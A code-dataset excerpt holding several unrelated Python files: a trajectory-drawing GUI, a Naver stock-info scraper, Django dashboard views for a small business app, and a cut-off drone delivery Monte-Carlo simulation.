30行分抽出できたら\",\"で区切って、各行の要素を取り出してintにキャスト→直線引く用のlistにいれる\n 直線用listの要素数分直線を引けば軌跡が出るはず->1/3にするの忘れない\n 各タスクの軌跡は色か太さで区別\n '''\n \n\n # 画面から削除して終了\n self.window.close() # ウィンドウを閉じる55\n\n#----------第2画面----------\nclass SubDisplay:\n def __init__(self,maindis):\n self.maindis = maindis\n self.x,self.y = maindis.x,maindis.y\n\n\n def make_trajectory(self):\n\n#ここで生成するsubdisplayにcanvasを使って軌跡を表示したい。\n#そのためにsublayoutに、軌跡を入れたcanvasを作る\n \n self.sublayout = [[sg.Canvas(key='-canvas-', background_color='white', size=(int(self.maindis.width*self.maindis.bairitu), int(self.maindis.height*self.maindis.bairitu)))],\n [sg.Button(\"all補正off\", key=\"-offall-\",size=(10,1)),sg.Button(\"補正off(奇数セクション)\", key=\"-off-\",size=(10,1)), sg.Button(\"all補正on\", key=\"-onall-\",size=(10,1)), sg.Button(\"補正on(偶数セクション)\", key=\"-on-\",size=(10,1))],\n [sg.Text(\"ウィンドウを閉じる\"), sg.Button(\"Exit\",key=\"-EXIT-\",size=(10,1))]\n ]\n\n #keep_on_top=Trueにする->画面を最前面に\n\n self.subwindow = sg.Window(\"SecondDisplay\",self.sublayout, element_justification='center', keep_on_top=True, size=(int(self.maindis.width*self.maindis.bairitu)+50, int(self.maindis.height*self.maindis.bairitu)+100))\n self.canvas = self.subwindow['-canvas-'] \n self.subwindow.finalize() \n\n #ここにMainクラスで作成した座標リストを入れる\n #print(self.maindis.splitarray[0])\n for i, slist in enumerate(self.maindis.splitarray):\n #splitarrayの各行の長さ(ポインター座標の数)をcountで取得\n code = '#'+''.join(list(map(lambda x: '{:02x}'.format(int(x * 255)), colorsys.hsv_to_rgb(i/len(self.maindis.splitarray) , 1, 1))))\n #slistの中に50,50があったらそれを消して詰める\n slist = [s for s in slist if (s != ['50.0', '50.0'])]\n for c in range(len(slist)-1):\n self.trajectory = self.canvas.TKCanvas.create_line(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu), \n int(float(slist[c+1][1])*self.maindis.bairitu)\n )\n if c==0:\n self.startpoint = self.canvas.TKCanvas.create_rectangle(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c][0])*self.maindis.bairitu)+5,\n int(float(slist[c][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.startpoint, fill=code) #各行をグラデーションで表示したい\n if c==int(len(slist)-3):\n self.endpoint = self.canvas.TKCanvas.create_oval(\n int(float(slist[c+1][0])*self.maindis.bairitu),\n int(float(slist[c+1][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu)+5,\n int(float(slist[c+1][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.trajectory, fill=code) #各行をグラデーションで表示したい\n self.canvas.TKCanvas.itemconfig(self.endpoint, fill=code) #各行をグラデーションで表示したい\n self.target = self.canvas.TKCanvas.create_rectangle(int(self.maindis.x/3), int(self.maindis.y/3), int(self.maindis.x/3)+int(150/3), int(self.maindis.y/3)+int(150/3))\n self.canvas.TKCanvas.itemconfig(self.target)\n\n self.count = 0\n \n while True:\n subevent, subvalue = self.subwindow.read()\n if subevent == \"-EXIT-\":\n sg.Popup(\"このウィンドウを閉じます\",keep_on_top=True)\n break\n\n if subevent == \"-off-\":#奇数セクション→偶数行目\n self.canvas.TKCanvas.delete(\"all\")\n #クリックされたボタンのターゲット座標\n x__ = float(self.x) \n y__ = float(self.y)\n print('{}_{}'.format(math.floor((self.count/3)+1),math.floor((self.count%3)+1))) \n for self.i, slist in enumerate(self.maindis.splitarray):\n #count行目のみ表示\n if self.i==self.count:\n code = '#'+''.join(list(map(lambda x: '{:02x}'.format(int(x * 255)), colorsys.hsv_to_rgb(i/len(self.maindis.splitarray) , 1, 1))))\n #slistの中に50,50があったらそれを消して詰める\n slist = [s for s in slist if (s != ['50.0', '50.0'])]\n for c in range(len(slist)-1):\n self.trajectory = self.canvas.TKCanvas.create_line(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu), \n int(float(slist[c+1][1])*self.maindis.bairitu)\n )\n if c==0:\n self.startpoint = self.canvas.TKCanvas.create_rectangle(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c][0])*self.maindis.bairitu)+5,\n int(float(slist[c][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.startpoint, fill=code) #各行をグラデーションで表示したい\n if c==int(len(slist)-3):\n self.endpoint = self.canvas.TKCanvas.create_oval(\n int(float(slist[c+1][0])*self.maindis.bairitu),\n int(float(slist[c+1][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu)+5,\n int(float(slist[c+1][1])*self.maindis.bairitu)+5 \n )\n if (x__>=float(slist[c+1][0]) or float(slist[c+1][0])>=x__+149)or(y__>=float(slist[c+1][1]) or float(slist[c+1][1])>=y__+149) :\n print('error:target({},{})~({},{})|pointer({},{})'.format(x__,y__,x__+149,y__+149,slist[c+1][0],slist[c+1][1]))\n self.canvas.TKCanvas.itemconfig(self.trajectory, fill=code) #各行をグラデーションで表示したい\n self.canvas.TKCanvas.itemconfig(self.endpoint, fill=code) #各行をグラデーションで表示したい \n \n self.count = self.count+1\n if self.count > 44:\n self.count = 0\n self.target = self.canvas.TKCanvas.create_rectangle(int(self.maindis.x/3), int(self.maindis.y/3), int(self.maindis.x/3)+int(150/3), int(self.maindis.y/3)+int(150/3))\n self.canvas.TKCanvas.itemconfig(self.target)\n \n if subevent == \"-on-\":#偶数セクション→奇数行目 \n self.canvas.TKCanvas.delete(\"all\")\n for self.i, slist in enumerate(self.maindis.splitarray):\n #count行目のみ表示\n if self.i==self.count:\n code = '#'+''.join(list(map(lambda x: '{:02x}'.format(int(x * 255)), colorsys.hsv_to_rgb(i/len(self.maindis.splitarray) , 1, 1))))\n for c in range(len(slist)-1):\n self.trajectory = self.canvas.TKCanvas.create_line(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu), \n int(float(slist[c+1][1])*self.maindis.bairitu)\n )\n if c==0:\n self.startpoint = self.canvas.TKCanvas.create_rectangle(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c][0])*self.maindis.bairitu)+5,\n int(float(slist[c][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.startpoint, fill=code) #各行をグラデーションで表示したい\n if c==int(len(slist)-3):\n self.endpoint = self.canvas.TKCanvas.create_oval(\n int(float(slist[c+1][0])*self.maindis.bairitu),\n int(float(slist[c+1][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu)+5,\n int(float(slist[c+1][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.trajectory, fill=code) #各行をグラデーションで表示したい\n self.canvas.TKCanvas.itemconfig(self.endpoint, fill=code) #各行をグラデーションで表示したい\n self.count = self.count+1\n self.target = self.canvas.TKCanvas.create_rectangle(int(self.maindis.x/3), int(self.maindis.y/3), int(self.maindis.x/3)+int(150/3), int(self.maindis.y/3)+int(150/3))\n self.canvas.TKCanvas.itemconfig(self.target)\n if subevent == \"-onall-\":\n self.canvas.TKCanvas.delete(\"all\")\n for self.i, slist in enumerate(self.maindis.splitarray):\n #奇数行目のみ表示\n if self.i%2==1:\n code = '#'+''.join(list(map(lambda x: '{:02x}'.format(int(x * 255)), colorsys.hsv_to_rgb(i/len(self.maindis.splitarray) , 1, 1))))\n for c in range(len(slist)-1):\n self.trajectory = self.canvas.TKCanvas.create_line(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu), \n int(float(slist[c+1][1])*self.maindis.bairitu)\n )\n if c==0:\n self.startpoint = self.canvas.TKCanvas.create_rectangle(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c][0])*self.maindis.bairitu)+5,\n int(float(slist[c][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.startpoint, fill=code) #各行をグラデーションで表示したい\n if c==int(len(slist)-3):\n self.endpoint = self.canvas.TKCanvas.create_oval(\n int(float(slist[c+1][0])*self.maindis.bairitu),\n int(float(slist[c+1][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu)+5,\n int(float(slist[c+1][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.trajectory, fill=code) #各行をグラデーションで表示したい\n self.canvas.TKCanvas.itemconfig(self.endpoint, fill=code) #各行をグラデーションで表示したい\n self.target = self.canvas.TKCanvas.create_rectangle(int(self.maindis.x/3), int(self.maindis.y/3), int(self.maindis.x/3)+int(150/3), int(self.maindis.y/3)+int(150/3))\n self.canvas.TKCanvas.itemconfig(self.target)\n\n if subevent == \"-offall-\":\n self.canvas.TKCanvas.delete(\"all\")\n for self.i, slist in enumerate(self.maindis.splitarray):\n #偶数行目のみ表示\n if self.i%2==0:\n code = '#'+''.join(list(map(lambda x: '{:02x}'.format(int(x * 255)), colorsys.hsv_to_rgb(i/len(self.maindis.splitarray) , 1, 1))))\n for c in range(len(slist)-1):\n self.trajectory = self.canvas.TKCanvas.create_line(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu), \n int(float(slist[c+1][1])*self.maindis.bairitu)\n )\n if c==0:\n self.startpoint = self.canvas.TKCanvas.create_rectangle(\n int(float(slist[c][0])*self.maindis.bairitu),\n int(float(slist[c][1])*self.maindis.bairitu), \n int(float(slist[c][0])*self.maindis.bairitu)+5,\n int(float(slist[c][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.startpoint, fill=code) #各行をグラデーションで表示したい\n if c==int(len(slist)-3):\n self.endpoint = self.canvas.TKCanvas.create_oval(\n int(float(slist[c+1][0])*self.maindis.bairitu),\n int(float(slist[c+1][1])*self.maindis.bairitu), \n int(float(slist[c+1][0])*self.maindis.bairitu)+5,\n int(float(slist[c+1][1])*self.maindis.bairitu)+5 \n )\n self.canvas.TKCanvas.itemconfig(self.trajectory, fill=code) #各行をグラデーションで表示したい\n self.canvas.TKCanvas.itemconfig(self.endpoint, fill=code) #各行をグラデーションで表示したい\n self.target = self.canvas.TKCanvas.create_rectangle(int(self.maindis.x/3), int(self.maindis.y/3), int(self.maindis.x/3)+int(150/3), int(self.maindis.y/3)+int(150/3))\n self.canvas.TKCanvas.itemconfig(self.target)\n \n\n \n self.subwindow.close()\n\n\ndisp1 = MainDisplay()\ndisp1.main()\n","sub_path":"trajectory_script.py","file_name":"trajectory_script.py","file_ext":"py","file_size_in_byte":22285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"389188873","text":"'''\r\nCreated on 2018. 8. 23.\r\n\r\n@author: SIDeok\r\n'''\r\n#https://companyinfo.stock.naver.com/v1/company/ajax/cF1001.aspx?cmp_cd=005930&fin_typ=0&freq_typ=Y\r\n\r\nimport urllib.request;\r\nfrom bs4 import BeautifulSoup;\r\nimport pyodbc;\r\n\r\nconn = pyodbc.connect(Driver='{Microsoft Access Driver (*.mdb, *.accdb)}'\r\n# ,DBQ='C:\\\\Users\\\\SIDeok\\\\git\\\\WebscrapingForStock\\\\WebscrapingForStock\\\\ms_access\\\\StockDB.mdb')\r\n ,DBQ='C:\\\\Users\\\\SIDeok\\\\git\\\\WebscrapingForStock\\\\WebScrapingForStock\\\\ms_access\\\\StockDB.mdb')\r\ncs = conn.cursor()\r\n\r\nlist_cmp_cd = cs.execute('SELECT COMPANY_CODE FROM TB_COMPANY_INFO')\r\narrCmpCd = list_cmp_cd.fetchall()\r\n\r\nfor i in range(arrCmpCd.__len__() - 1, arrCmpCd.__len__()) :\r\n arrInfo = []\r\n pageCont = urllib.request.urlopen('https://companyinfo.stock.naver.com/v1/company/ajax/cF1001.aspx?cmp_cd=' + arrCmpCd[i][0] + '&fin_typ=0&freq_typ=Y');\r\n soup_m = BeautifulSoup(pageCont.read(), \"html.parser\");\r\n soup_tab = soup_m.find(\"table\", {\"class\" : \"gHead01 all-width\"});\r\n #print(soup_tab.findAll(\"th\")[2].contents[0].strip())\r\n print(soup_tab.findAll(\"th\"))\r\n\r\n\r\n#tr태그를 읽어온뒤 date가 있는 항목만 처리한다.\r\n'''\r\ntdArray = soup_tab.findAll(\"td\");\r\nidx = 0;\r\nfor j in tdArray : \r\n if(j['class'][0] == 'date' and j.contents[0].replace('\\xa0', '') != \"\") :\r\n date = j.contents[0];\r\n val = tdArray[idx+1].contents[0];\r\n print(str(i) + \", \" + date.replace(\".\",\"\") + \" , \" + val);\r\n cs.execute(\"INSERT INTO TB_KOSPI_INDEX VALUES('\" + date.replace(\".\",\"-\") + \"',\" + val.replace(\",\",\"\") + \")\")\r\n idx+=1;\r\n'''\r\n\r\n\r\nprint(\"complete!!!\")","sub_path":"WebScrapingForStock/naver/Scrap_Company_Quater_Information.py","file_name":"Scrap_Company_Quater_Information.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"182686261","text":"from django.shortcuts import render,get_object_or_404,redirect\r\nfrom .forms import FormClient,FormEmployee,FormPayment,FormService,FormLocal,EditClient\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom .models import Client,Payment,Service,Local,Employee\r\n\r\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\r\nfrom django.shortcuts import render\r\n\r\n# Create your views here.\r\n@login_required\r\ndef index(request):\r\n context = {}\r\n template_name ='index.html'\r\n contservice = Service.objects.all().count() \r\n contclient = Client.objects.all().count() \r\n contlocal = Local.objects.all().count() \r\n context['contserv'] = contservice\r\n context['contcli'] = contclient\r\n context['contlocal'] = contlocal\r\n\r\n\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef statistics(request):\r\n context = {}\r\n template_name ='statistics.html'\r\n contservice = Service.objects.all().count() \r\n contclient = Client.objects.all().count() \r\n contlocal = Local.objects.all().count() \r\n context['contserv'] = contservice\r\n context['contcli'] = contclient\r\n context['contlocal'] = contlocal\r\n\r\n\r\n return render(request,template_name,context)\r\n \r\n\r\n@login_required\r\ndef regClient(request):\r\n context = {}\r\n\r\n template_name ='regClient.html'\r\n if request.method == 'POST':\r\n form = FormClient(request.POST)\r\n if form.is_valid():\r\n context['sucess'] = True\r\n form.save()\r\n form = FormClient()\r\n else:\r\n form = FormClient() \r\n \r\n context['form'] = form\r\n return render(request,template_name,context)\r\n\r\n\r\n\r\n@login_required\r\ndef regLocal(request):\r\n context = {}\r\n template_name ='regLocal.html'\r\n if request.method == 'POST':\r\n form = FormLocal(request.POST)\r\n if form.is_valid():\r\n context['sucess'] = True\r\n form.save()\r\n form = FormLocal()\r\n else:\r\n form = FormLocal() \r\n \r\n context['form'] = form\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef regEmployee(request):\r\n context = {}\r\n template_name ='regEmployee.html'\r\n if request.method == 'POST':\r\n form = FormEmployee(request.POST)\r\n if form.is_valid():\r\n context['sucess'] = True\r\n form.save()\r\n form = FormEmployee () \r\n else:\r\n form = FormEmployee () \r\n \r\n context['form'] = form\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef payment(request):\r\n context = {}\r\n template_name ='payment.html'\r\n if request.method == 'POST':\r\n form = FormPayment(request.POST)\r\n if form.is_valid():\r\n context['sucess'] = True\r\n form.save()\r\n form = FormPayment () \r\n else:\r\n form = FormPayment () \r\n \r\n context['form'] = form\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef service(request):\r\n context = {}\r\n template_name ='service.html'\r\n if request.method == 'POST':\r\n form = FormService(request.POST)\r\n if form.is_valid():\r\n context['sucess'] = True\r\n form.save()\r\n form = FormService ()\r\n else:\r\n form = FormService () \r\n \r\n context['form'] = form\r\n return render(request,template_name,context)\r\n\r\n\r\n#EDITS\r\n\r\n\r\n@login_required\r\ndef editService(request,id):\r\n service = get_object_or_404(Service,id=id)\r\n if request.method == \"POST\":\r\n form = FormService(request.POST,instance=service)\r\n if form.is_valid():\r\n service = form.save(commit=False)\r\n service.id = id\r\n service.save()\r\n form.save()\r\n return redirect('dashboard:relService')\r\n else:\r\n form = FormService(instance=service)\r\n template_name = 'editService.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)\r\n \r\n\r\n\r\n@login_required \r\ndef editClient(request,id):\r\n client = get_object_or_404(Client,id=id)\r\n if request.method == \"POST\":\r\n form = EditClient(request.POST,instance=client)\r\n if form.is_valid():\r\n client = form.save(commit=False)\r\n client.id = id\r\n client.save()\r\n return redirect('dashboard:relClient')\r\n else:\r\n form = EditClient(instance=client)\r\n template_name ='editClient.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)\r\n\r\n@login_required \r\ndef editPayment(request,id):\r\n payment = get_object_or_404(Payment,id=id)\r\n if request.method == \"POST\":\r\n form = FormPayment(request.POST,instance=payment)\r\n if form.is_valid():\r\n payment = form.save(commit=False)\r\n payment.id = id\r\n payment.save()\r\n return redirect('dashboard:relPayment')\r\n else:\r\n form = FormPayment(instance=payment)\r\n template_name ='editPayment.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef editEmployee(request,id):\r\n employee = get_object_or_404(Employee,id=id)\r\n if request.method == \"POST\":\r\n form = FormEmployee(request.POST,instance=employee)\r\n if form.is_valid():\r\n employee = form.save(commit=False)\r\n employee.id=id\r\n employee.save()\r\n return redirect('dashboard:relEmployee')\r\n else:\r\n form = FormEmployee(instance=employee)\r\n template_name = 'editEmployee.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef editLocal(request,id):\r\n local = get_object_or_404(Local,id=id)\r\n if request.method == \"POST\":\r\n form = FormLocal(request.POST,instance=local)\r\n if form.is_valid():\r\n local = form.save(commit=False)\r\n local.id=id\r\n local.save()\r\n return redirect('dashboard:relLocal')\r\n else:\r\n form = FormLocal(instance=local)\r\n template_name = 'editLocal.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)\r\n\r\n#END EDITS\r\n\r\n\r\n#DELETE\r\n@login_required\r\ndef deleteLocal(request, id=id):\r\n Local.objects.filter(id=id).delete()\r\n return redirect('dashboard:relLocal')\r\n#RELATORIO\r\n@login_required\r\ndef relEmployee(request):\r\n template_name ='relatorio/employee.html'\r\n employee = Employee.objects.all().order_by('-id')\r\n context = {'employee':employee}\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef relService(request):\r\n template_name ='relatorio/service.html'\r\n service = Service.objects.all().order_by('-id')\r\n context = {'service':service}\r\n return render(request,template_name,context)\r\n\r\n\r\n@login_required\r\ndef relPayment(request):\r\n template_name ='relatorio/payment.html'\r\n paymentDetail = Payment.objects.all().order_by('-id')\r\n context = {'payment':paymentDetail}\r\n return render(request,template_name,context)\r\n\r\n@login_required \r\ndef relPaymentDetail(request,pk):\r\n template_name ='relatorio/paymentDetail.html'\r\n payment = get_object_or_404(Payment,pk=pk)\r\n context = {'payment':payment}\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef relClient(request):\r\n template_name ='relatorio/cliente.html'\r\n clients = Client.objects.all().order_by('-id')\r\n context = {'client':clients}\r\n return render(request,template_name,context)\r\n\r\n@login_required \r\ndef relClientDetail(request,pk):\r\n template_name ='relatorio/clienteDetail.html'\r\n clients = get_object_or_404(Client,pk=pk)\r\n context = {'client':clients}\r\n return render(request,template_name,context)\r\n\r\n@login_required\r\ndef relLocal(request):\r\n template_name ='relatorio/local.html'\r\n local_list = Local.objects.all().order_by('-id')\r\n\r\n paginator = Paginator(local_list, 4) # Show 25 contacts per page\r\n\r\n page = request.GET.get('page')\r\n local = paginator.get_page(page)\r\n\r\n context = {'local':local,\r\n 'local_list':local_list\r\n }\r\n return render(request,template_name,context)\r\n\r\n\r\n#PRINT\r\n@login_required\r\ndef printService(request,id):\r\n service = get_object_or_404(Service,id=id)\r\n if request.method == \"POST\":\r\n form = FormService(request.POST,instance=service)\r\n if form.is_valid():\r\n service = form.save(commit=False)\r\n service.id = id\r\n service.save()\r\n form.save()\r\n return redirect('dashboard:relService')\r\n else:\r\n form = FormService(instance=service)\r\n template_name = 'print/printService.html'\r\n context = {'form':form}\r\n return render(request,template_name,context)","sub_path":"mycompanypay/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"35487014","text":"import numpy as np\nfrom random import shuffle\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy.stats import norm\nimport matplotlib.mlab as mlab\nimport pandas as pd\nfrom collections import Counter\nimport random\nfrom itertools import cycle, islice\n\ndef main():\n #needs distance, speeds, make so 100, to 1000 packages, weight displacement for packages\n #needs: time,\n\n def packages(amount_of_orders):\n weight = []\n\n #randomly creating a weight distr using .5 as a low and 8 as a high\n # and using amount of orders for the size.\n for i in range(0,amount_of_orders):\n pack_weight = np.random.uniform(.5, 8)\n weight.insert(i,pack_weight)\n\n return weight\n\n #print(packages(10)) #prints a list of weights\n\n def distance(amount_of_orders):\n\n dist = []\n pythagorean = []\n xhomes = []\n yhomes = []\n x1 = y1 = 0\n start = [x1, y1]\n for i in range(0,amount_of_orders):\n #dist_distr = np.random.uniform(5280, 10 * 5280)\n #dist.insert(i,dist_distr)\n\n x = np.random.uniform(0,6*5280)\n y = np.random.uniform(0,6*5280)\n xhomes.insert(i,x)\n yhomes.insert(i,y)\n\n mrEuclid =np.sqrt( (x-x1)**2 + (y-y1)**2 )\n pythagorean.insert(i,mrEuclid)\n\n return pythagorean , xhomes, yhomes\n\n\n def speed(amount_of_orders):\n veloctity = []\n\n for i in range(0, amount_of_orders):\n\n dist , x, y = distance(amount_of_orders)\n #print(dist)\n\n if dist[i] < 7*5280:\n #low range\n speeed = 50 #ft/s\n veloctity.insert(i, speeed)\n elif 7*5280 < dist[i] < 14*5280:\n #Med Range\n speeed = 50 #ft/s\n veloctity.insert(i, speeed)\n #High Range\n elif 14*5280 > dist[i]:\n speeed = 50 #ft/s\n veloctity.insert(i, speeed)\n else:\n speeed = 50\n veloctity.insert(i,speeed)\n return veloctity\n\n def battery_life(num_drones):\n quad = {}\n for i in range(0, num_drones):\n\n quad[i+1] = 5400\n\n\n ''' \n quad = []\n for i in range(0,num_drones):\n battery_life = 3600\n quad.insert(i,battery_life)\n '''\n\n return quad\n #d = drone(3)\n #print(d[3])\n\n def flight(amount_of_orders, num_drones):\n\n drones = battery_life(num_drones)\n #if the first drone is charged go!\n needtocharge = 5400 / 2 #half how\n bat_capacity = 5400 #hour 50mins to charge fully\n charging = .5 * 5400 #20 percent charge in 1 hour\n time = []\n total_flight_time = 0\n whichdrone = []\n current_step = 0\n\n #####START HERE NEXT TIME need to figure out switching drones\n\n\n velocity = speed(amount_of_orders)\n #print(len(velocity), \"VELCOCITY\")\n dist , xhomes, yhomes = distance(amount_of_orders)\n\n time = [int(dist) / int(velocity) for dist, velocity in zip(dist, velocity)]\n\n for i in range(0, len(time)):\n total_flight_time = time[i] + total_flight_time\n #drone 1 is flying\n #print(\"running 123.....\", i)\n #print(\"time\", time[i])\n times = 2 * time[i] #accounting for time to and from\n\n #drone 1 active, checking if its battery capacity is greater than the distance too\n if drones[1] > needtocharge:\n whichdrone.insert(i, 1)\n\n #total_flight_time = sum(time)\n #print(total_flight_time, 'drone 1: flight time')\n\n drones[1] = drones[1] - (times/1800)*5400\n #print(\"drone 1\", drones[1])\n\n\n #if the first drone needs to charge\n if drones[1] < needtocharge:\n #using first drone\n current_step= total_flight_time\n\n\n #Charging\n if drones[2] < 5400:\n drones[2] = (times/1800*5400) + drones[2]\n if drones[2] > 5400:\n drones[2] = 5400\n #print(\"charging 2 \")\n\n if drones[3] < 5400:\n drones[3] = (times/1800*5400) + drones[3]\n if drones[3] > 5400:\n drones[3] = 5400\n #print(\"charging 3\")\n\n\n #drone two is now flying\n elif drones[2] > needtocharge:\n whichdrone.insert(i, 2)\n\n #print(total_flight_time, 'drone 2: flight time')\n\n drones[2] = drones[2] - (times/1800)*5400\n #print(\"drone 2\", drones[2])\n #print(\"current step\", current_step)\n\n #if drone 2 needs to charge\n if drones[2] < needtocharge:\n # using first drone\n current_step = total_flight_time\n\n # Charging everyone else\n if drones[1] < 5400:\n drones[1] = (times/1800*5400) + drones[1]\n if drones[1] > 5400:\n drones[1] = 5400\n #print(\"charging 1 \")\n\n if drones[3] < 5400:\n drones[3] = (times/1800*5400) + drones[3]\n if drones[3] > 5400:\n drones[3] = 5400\n #print(\"charging 3\")\n #activate drone 3\n elif drones[3] > needtocharge:\n whichdrone.insert(i, 3)\n\n #print(total_flight_time, 'drone 2: flight time')\n\n drones[3] = drones[3] - (times/1800)*5400\n #print(\"drone 3\", drones[3])\n #print(\"current step\", current_step)\n\n # if drone 3 needs to charge\n if drones[3] < needtocharge:\n # using first drone\n current_step = total_flight_time\n\n # Charging everyone else\n if drones[1] < 5400:\n drones[1] = (times/1800*5400)+ drones[1]\n if drones[1] > 5400:\n drones[1] = 5400\n #print(\"charging 1 \")\n\n if drones[2] < 5400:\n drones[2] = (times/1800*5400) + drones[3]\n if drones[2] > 5400:\n drones[2] = 5400\n #print(\"charging 3\")\n\n\n\n # setting time into hours\n\n time = [x / 3600 for x in time]\n dist = [2 * x / 5280 for x in dist]\n\n #doubling to take in the trip back into account\n time = time * 2\n\n #print(time)\n\n average = sum(time) / len(time)\n maxtime = max(time)\n mintime = min(time)\n STD = np.std(time)\n beta = whichdrone\n all = Counter(beta)\n uno = beta.count(1)\n dos = beta.count(2)\n tres = beta.count(3)\n\n #print(beta, 'beta')\n #print(len(beta), 'length of beta')\n\n return time , dist, average, maxtime, mintime, STD, xhomes, yhomes, beta, uno, dos, tres, all, total_flight_time\n\n uno_list = []\n dos_list = []\n tres_list = []\n delivery_distance = []\n def monte(num_runs):\n\n #running Monte-Carlo Simulation\n for i in range(0,num_runs):\n print(i, \"running\")\n\n t, d, avg, maxim, minim, STD, xhomes, yhomes, beta,uno, dos, tres, all, total_flight_time = flight(100,3)\n uno_list.insert(i,uno)\n dos_list.insert(i, dos)\n tres_list.insert(i, tres)\n delivery_distance.insert(i,d)\n\n plt.subplot(3,1,1)\n plt.scatter(i, avg, alpha = .5,c = \"green\")\n plt.scatter(i, maxim, alpha = .5, c= \"blue\")\n plt.scatter(i, minim, alpha=.5, c=\"red\")\n\n plt.legend([\" Average\", \"Max\", \"Min\"], loc=1, bbox_to_anchor=(1, 0.4))\n plt.title(\"Average, Max, and Min Delivery Times over Simulated Iterations\")\n plt.ylabel(\"Time in hours\")\n plt.xlabel(\"Iterations\")\n\n\n dist_avg = np.average(delivery_distance)\n dist_std = np.std(delivery_distance)\n\n avg_1 = sum(uno_list) / len(uno_list)\n avg_2 = sum(dos_list) / len(dos_list)\n avg_3 = sum(tres_list) / len(tres_list)\n\n std_1 = np.std(uno_list)\n std_2 = np.std(dos_list)\n std_3 = np.std(tres_list)\n return avg_1,avg_2,avg_3,std_1,std_2,std_3,t, d, avg, maxim, minim, STD, xhomes, yhomes, beta,uno, dos, tres, all, dist_avg,dist_std, total_flight_time\n\n num_runs = 100\n avg_1, avg_2, avg_3, std_1, std_2, std_3, t, d, avg, maxim, minim, STD, xhomes, yhomes, beta, uno, dos, tres, all,dist_avg,dist_std ,total_flight_time= monte(num_runs)\n #Monte-carlo plots AVG,MIN,MAX and PDF of Completetion times\n print(total_flight_time)\n plt.subplot(3, 1, 2)\n num_bins = 10\n n, bins, patches = plt.hist(t, num_bins, normed=1, alpha=0.5)\n y = mlab.normpdf(bins, avg, STD)\n plt.plot(bins, y, 'r--')\n plt.ylabel(\"Probability\")\n plt.title(\" Delivery Completion Times PDF\")\n plt.xlabel(\"Time in hours\")\n\n plt.subplot(3,1,3)\n num_bins = 10\n n, bins, patches = plt.hist(t, num_bins, normed=1, alpha=0.5, cumulative = True)\n y = mlab.normpdf(bins, avg, STD).cumsum()\n plt.title('CDF of Delivery Completion Times')\n plt.xlabel(\"Times in Hours\")\n plt.ylabel(\"Probabilty\")\n plt.plot(bins, y, 'r--')\n\n plt.show()\n\n\n\n #print(\"drone 1\", uno)\n\n plt.subplot(3, 1, 1)\n num_bins = 10\n n, bins, patches = plt.hist(uno_list, num_bins, normed=1, alpha=0.5)\n y = mlab.normpdf(bins, avg_1, std_1)\n plt.title('PDF of Drone 1 Usage')\n plt.ylabel(\"Times Used\")\n plt.xlabel(\"Probabilty\")\n plt.plot(bins, y, 'r--')\n\n plt.subplot(3, 1, 2)\n num_bins = 10\n n, bins, patches = plt.hist(dos_list, num_bins, normed=1, alpha=0.5)\n y = mlab.normpdf(bins, avg_2, std_2)\n plt.title('PDF of Drone 2 Usage')\n plt.ylabel(\"Times Used\")\n plt.xlabel(\"Probabilty\")\n plt.plot(bins, y, 'r--')\n\n plt.subplot(3, 1, 3)\n num_bins = 10\n n, bins, patches = plt.hist(tres_list, num_bins, normed=1, 